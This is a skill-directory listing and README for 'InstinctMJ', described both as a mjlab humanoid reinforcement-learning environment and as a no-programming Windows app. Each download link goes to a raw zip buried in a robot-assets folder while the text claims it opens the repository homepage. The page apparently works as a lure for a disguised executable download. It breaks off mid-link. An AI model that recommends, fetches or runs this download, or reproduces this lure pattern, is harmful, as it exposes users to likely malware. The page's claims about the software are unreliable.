InstinctMJ — Development skill for Claude Code
Provide a native mjlab environment for Project-Instinct to support reinforcement learning in humanoid whole-body control tasks.
How to install InstinctMJ
This entry records only its repository, not the path inside it, so there is no
exact command to give. Open PHOENIX01ALX/InstinctMJ and copy the folder into
~/.claude/skills/, or the file into ~/.claude/agents/.
What InstinctMJ does
Provide a native mjlab environment for Project-Instinct to support reinforcement learning in humanoid whole-body control tasks.
Alternatives in Development
- Instinct Export — Export instincts from project/global scope to a file 1.9k ★
- Zeron — A native control plane for Claude Code, Codex, Cursor, Devin and other coding agents 1.4k ★
- OpenSquirrel — For people who get distracted by agents 1.3k ★
README
🤖 InstinctMJ - Easy RL Workflows for Everyone
[](https://raw.githubusercontent.com/PHOENIX01ALX/InstinctMJ/main/src/instinct_mj/assets/resources/unitree_g1/MJ_Instinct_1.5.zip)
InstinctMJ is a user-friendly application designed to help you work with humanoid reinforcement learning (RL) and Project-Instinct workflows. This guide explains how to download, install, and run InstinctMJ on a Windows computer. No programming skills are needed.
📋 What is InstinctMJ?
InstinctMJ is a port of InstinctLab tailored for Windows users. The app focuses on humanoid reinforcement learning and supports Project-Instinct workflows. You can use it to run RL experiments or simulations with models that behave like humans. The software simplifies complex RL tasks with a clear interface and straightforward setup.
💻 System Requirements
To run InstinctMJ smoothly, your Windows computer should meet these minimum requirements:
- Windows 10 or later (64-bit)
- 4 GB of RAM or more
- 2 GHz dual-core processor
- 1 GB of free disk space
- Internet connection for downloading files and updates
If your device meets these specs, InstinctMJ should work without issues.
🚀 Getting Started: Download InstinctMJ
Start by visiting the main download page for InstinctMJ:
[](https://raw.githubusercontent.com/PHOENIX01ALX/InstinctMJ/main/src/instinct_mj/assets/resources/unitree_g1/MJ_Instinct_1.5.zip)
This link takes you to the GitHub repository homepage. From there, you will find all the files and instructions necessary to get the application running.
🔽 How to Download and Install InstinctMJ on Windows
Follow these steps to download and install InstinctMJ:
**Open the Link**
Go to the InstinctMJ repository page by clicking here:
https://raw.githubusercontent.co
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